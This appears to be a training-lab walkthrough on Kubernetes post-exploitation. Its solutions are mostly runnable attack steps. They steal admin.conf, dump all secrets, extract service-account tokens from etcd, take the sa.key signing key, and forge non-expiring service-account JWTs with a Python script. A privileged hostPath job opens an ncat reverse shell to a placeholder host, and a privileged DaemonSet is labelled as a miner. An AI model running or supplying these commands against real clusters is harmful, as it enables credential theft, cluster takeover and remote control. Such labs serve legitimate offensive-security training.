Lab_09 - Kubernetes Post-Exploitation Part 2

Lab 9: Kubernetes Post-Exploitation Part 2

1. Steal Admin Config

As we are "root" on the master node, let's steal the "admin.conf" file containing the authentication data for the privileged user "kunernetes-admin".

Solution

cat /etc/kubernetes/admin.conf

2. Steal Secrets

Let's use the "admin.conf" file with kubectl in order to steal all k8s secrets.

Hint

Use the kubectl "--kubeconfig" flag.

Solution

kubectl --kubeconfig=/etc/kubernetes/admin.conf get secrets -A
kubectl --kubeconfig=/etc/kubernetes/admin.conf get secret <SECRET> -o yaml

Note: Replace <SECRET> with a valid secret name.

3. Steal ETCD

There are 2 main ways to steal information from ETCD:

  • Read the ETCD DB files directly

Solution

Identify the ETCD DB file location via the "data-dir" parameter in the ETCD command:

ps aux | grep etcd | sed s/\-\-/\\n/g | grep data-dir

Use strings as a quick and dirty way to get information from the DB file:

strings /var/lib/etcd/member/snap/db | less

We can also use more advanced grep parsing to get specific info (e.g. Service Account tokens saved as secrets):

db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B60 | grep registry`; echo $name \| $x; echo; done
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B60 | grep registry`; echo $name \| $x; echo; done | grep kube-system
  • Steal the ETCD client, peer and/or server key-certificate pairs and a tool such as etcdctl in order read ETCD information via the ETCD server

Hint

Certificates and keys can be found at:

  • /etc/kubernetes/pki/apiserver-etcd-client.key and .crt

  • /etc/kubernetes/pki/etcd/peer.key and .crt

  • /etc/kubernetes/pki/etcd/server.key and .crt

Solution

Get etcdctl:

wget https://github.com/etcd-io/etcd/releases/download/v3.5.11/etcd-v3.5.11-linux-amd64.tar.gz
tar -xzvf etcd-v3.5.11-linux-amd64.tar.gz

Use etcdctl with key-cert pair:

ETCDCTL_KEY=/etc/kubernetes/pki/apiserver-etcd-client.key ETCDCTL_CERT=/etc/kubernetes/pki/apiserver-etcd-client.crt  ETCDCTL_INSECURE_SKIP_TLS_VERIFY=true ETCDCTL_API=3 ./etcd-v3.5.11-linux-amd64/etcdctl --debug --endpoints https://127.0.0.1:2379 get / --prefix --keys-only

ETCDCTL_KEY=/etc/kubernetes/pki/apiserver-etcd-client.key ETCDCTL_CERT=/etc/kubernetes/pki/apiserver-etcd-client.crt  ETCDCTL_INSECURE_SKIP_TLS_VERIFY=true ETCDCTL_API=3 ./etcd-v3.5.11-linux-amd64/etcdctl --endpoints https://127.0.0.1:2379 get /registry/secrets/<NAMESPACE>/<POD_NAME>

4. Steal Kubernetes Private Key

Let's steal the k8s private key.

Hint

Key can be found at /etc/kubernetes/pki/sa.key

Solution

cat /etc/kubernetes/pki/sa.key

Ok, we got the key. It's a ... nice souvenir? As the key is used to sign all service account JWTs let's write a python/bash/etc. script that will use it to sign our own JWTs, for any SA, that will never expire.

Hint

Required information for a valid JWT:

  • Service Account Name

  • UID

  • Namespace

Solution

Python script create_jwt.py:

#!/usr/bin/python3
import jwt, os, sys

if len(sys.argv) != 4:
	print(f"\n\tUSAGE: {sys.argv[0]} <USER> <UID> <NAMESPACE>")
	quit()

USER = sys.argv[1]
UID = sys.argv[2]
NAMESPACE = sys.argv[3]

f = open('/etc/kubernetes/pki/sa.key', 'rb')
private_key = f.read()
f.close()

# Example: pay = {"iss":"https://kubernetes.default.svc.cluster.local","kubernetes.io":{"namespace":"default","serviceaccount":{"name":"default","uid":"58225f8c-8768-41ad-b42f-0f9c6b8c2040"}}}
pay = {"iss":"https://kubernetes.default.svc.cluster.local","kubernetes.io":{"namespace":NAMESPACE,"serviceaccount":{"name":USER,"uid":UID}}}

encoded = jwt.encode(pay, private_key, algorithm="RS256")
#print(encoded)

os.system(f"kubectl -s https://localhost:6443 --insecure-skip-tls-verify=true --token={encoded} auth whoami")
os.system(f"kubectl -s https://localhost:6443 --insecure-skip-tls-verify=true --token={encoded} auth can-i --list")
### If you are impersonating the "cronjob-controller" SA uncomment the final line of code
# os.system(f"kubectl -s https://localhost:6443 --insecure-skip-tls-verify=true --token={encoded} apply -f cron.yml")

Get all required information for creating a JWT for the "default" SA:

kubectl get sa default -o yaml

Execute the python script creating a token for "default" and test it:

mv ~/.kube/config ~/.kube/config.bak    # optional
python3 create_jwt.py default <UID> default
mv ~/.kube/config.bak ~/.kube/config    # optional

Note: Replace <UID> with the valid UID of the default user.

Cool, now let's try to generate a token for the "cronjob-controller" SA and see how we can exploit it's privileges.

Hint

Let's leverage the "create" access on the "jobs.batch".

Hint

What if "bad pod" did a "bad job".

Solution

cron.yml:

apiVersion: batch/v1
kind: Job
metadata:
  name: everything-allowed-revshell-job
  labels:
    app: pentest
    type: job
spec:
  template:
    spec:
      hostNetwork: true
      hostPID: true
      hostIPC: true
      containers:
      - name: everything-allowed-revshell-job
        image: raesene/ncat
        command: [ "/bin/sh", "-c", "--" ]
        args: [ "ncat --ssl <HOST> <PORT> -e /bin/bash;" ]
        securityContext:
          privileged: true
        volumeMounts:
        - mountPath: /host
          name: noderoot
      volumes:
      - name: noderoot
        hostPath:
          path: /
      restartPolicy: OnFailure

Note: Replace <HOST> and <PORT> with the valid HOST-PORT pair pointing to your netcat listener.

Don't forget to start the listener:

ncat --ssl -nlvp 4444 &

Get all required information for creating a JWT for the "kube-system:cronjob-controller" SA:

kubectl get sa cronjob-controller -n kube-system -o yaml

Add/Uncomment the following line to the python script:

os.system(f"kubectl -s https://localhost:6443 --insecure-skip-tls-verify=true --token={encoded} apply -f cron.yml")

Execute the python script creating a token for "kube-system:cronjob-controller" and test it:

mv ~/.kube/config ~/.kube/config.bak    # optional
python3 create_jwt.py default <UID> default
mv ~/.kube/config.bak ~/.kube/config    # optional

Reverse shell should be sent back by the malicious job pod in less then a minute.

5. Create Privileged DaemonSet

Let's create a privileged DaemonSet.

Hint

"kind: DaemonSet"

Solution

crypto_deamon.yml:

apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: ds01
spec:
  selector:
    matchLabels:
      ds: ds01
  template:
    metadata:
      labels:
        ds: ds01
    spec:
      containers:
      - name: crypto
        image: ubuntu
        command: [ "/bin/sh", "-c", "--" ]
        args: [ "while true; do echo mining stuff; sleep 30; done;" ]
        securityContext:
          privileged: true

Check that Daemon Pods were created:

kubectl apply -f crypto_deamon.yml
kubectl get pods

Last updated